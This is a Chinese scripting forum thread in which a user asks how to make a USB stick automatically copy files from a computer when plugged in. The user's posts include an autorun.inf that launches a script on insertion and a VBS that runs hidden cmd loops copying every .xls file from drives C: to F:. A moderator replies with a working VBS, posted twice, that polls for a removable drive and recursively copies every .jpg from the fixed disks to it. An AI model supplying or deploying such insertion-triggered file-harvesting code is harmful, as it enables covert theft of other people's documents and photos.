VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件？

lyzhangzj

按以下代码会出现，只复制U盘里所有XLS格式的文件，怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。

以下是autorun.inf文件的代码：

1. [autorun]
   
2. open=wscript.exe CopyExcelFile.vbs
   
3. shell\open=打开(&O)
   
4. shell\open\command=wscript.exe CopyExcelFile.vbs

复制代码

以下是GetExcelFile.vbs文件的代码：

1. set ws=createobject("wscript.shell")
   
2. ws.run "explorer .."
   
3. ws.run "cmd /c md GetExcelFile",0,true
   
4. ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
   
5. ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
   
6. ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
   
7. ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true

复制代码

broly

貌似我以前写过了，你在论坛搜索看看

lyzhangzj

回复 2# broly

多谢，我找找看。

broly

看看这个

http://bbs.bathome.net/redirect. ... 3&fromuid=25503

lyzhangzj

高手，还是不行啊，能否再给写一个代码，多谢啦。

broly

你描述都不清楚叫我怎么写？

“U盘插入电脑上自动复制电脑上的EXCEL文件的VBS脚本”

就是复制？从哪里复制到哪里？

lyzhangzj

喔，不好意思，我是想U盘插入电脑之后，自动复制电脑C:\,D:\,E:\所有的JPG格式的文件到U盘里。多谢啦。高手。

Demon

先把你的语文学好

lyzhangzj

呵呵，没有表达清楚。

lyzhangzj

版主，这个代码写起来难度大吗？多谢帮忙啊！

broly

中午没有时间写，现在才有空。

1. Dim fso,Disks,Disk,JpgPath
   
2. Set fso = CreateObject("Scripting.FileSystemObject")
   
3. Do
   
4.   n = n+1
   
5.   Set Disks = fso.Drives
   
6.   For Each Disk In Disks
   
7.     If Disk.IsReady And Disk.DriveType = 1 Then
   
8.       JpgPath = Disk.DriveLetter & ":"
   
9.       U = True
   
10.     End if
    
11.   Next
    
12.   If U = True Then
    
13.             MsgBox "复制中...请稍后..."
    
14.             For Each Disk In Disks
    
15.             If Disk.IsReady And Disk.DriveType = 2 Then
    
16.                         CopyJpgs(Disk.DriveLetter & ":")
    
17.             End if
    
18.             Next
    
19.             MsgBox "Succeed."
    
20.   Else
    
21.     If n=1 Then
    
22.       Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    
23.     End if
    
24.   End If
    
25.   WScript.Sleep 30000  '每30秒循环一次
    
26. Loop
    
27. 
    
28. Sub CopyJpgs(path)
    
29.   Dim folder,subfolders,Files
    
30.   Set folder = fso.getfolder(path)
    
31.   Set subfolders = folder.subfolders
    
32.   Set Files = folder.Files
    
33.   For Each File In Files
    
34.     If fso.GetExtensionName(File.path)="jpg" Then
    
35.       fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    
36.     End if
    
37.   Next
    
38.   For Each subfolder In subfolders
    
39.       CopyJpgs(subfolder.path) '递归查找子目录
    
40.   Next
    
41. End Sub

复制代码

broly

中午没有时间写，现在才有空。

1. Dim fso,Disks,Disk,JpgPath
   
2. Set fso = CreateObject("Scripting.FileSystemObject")
   
3. Do
   
4.   n = n+1
   
5.   Set Disks = fso.Drives
   
6.   For Each Disk In Disks
   
7.     If Disk.IsReady And Disk.DriveType = 1 Then
   
8.       JpgPath = Disk.DriveLetter & ":"
   
9.       U = True
   
10.     End if
    
11.   Next
    
12.   If U = True Then
    
13.             MsgBox "复制中...请稍后..."
    
14.             For Each Disk In Disks
    
15.             If Disk.IsReady And Disk.DriveType = 2 Then
    
16.                         CopyJpgs(Disk.DriveLetter & ":")
    
17.             End if
    
18.             Next
    
19.             MsgBox "Succeed."
    
20.   Else
    
21.     If n=1 Then
    
22.       Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    
23.     End if
    
24.   End If
    
25.   WScript.Sleep 30000  '每30秒循环一次
    
26. Loop
    
27. 
    
28. Sub CopyJpgs(path)
    
29.   Dim folder,subfolders,Files
    
30.   Set folder = fso.getfolder(path)
    
31.   Set subfolders = folder.subfolders
    
32.   Set Files = folder.Files
    
33.   For Each File In Files
    
34.     If fso.GetExtensionName(File.path)="jpg" Then
    
35.       fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    
36.     End if
    
37.   Next
    
38.   For Each subfolder In subfolders
    
39.       CopyJpgs(subfolder.path) '递归查找子目录
    
40.   Next
    
41. End Sub

复制代码

lyzhangzj

版主真是好人啊，多谢了，这个要在U盘上建立个文件吗？这个是后台自动运行是吧！

broly

不用，直接复制到U盘的

lyzhangzj

直接建立TXT文件，复制到U盘。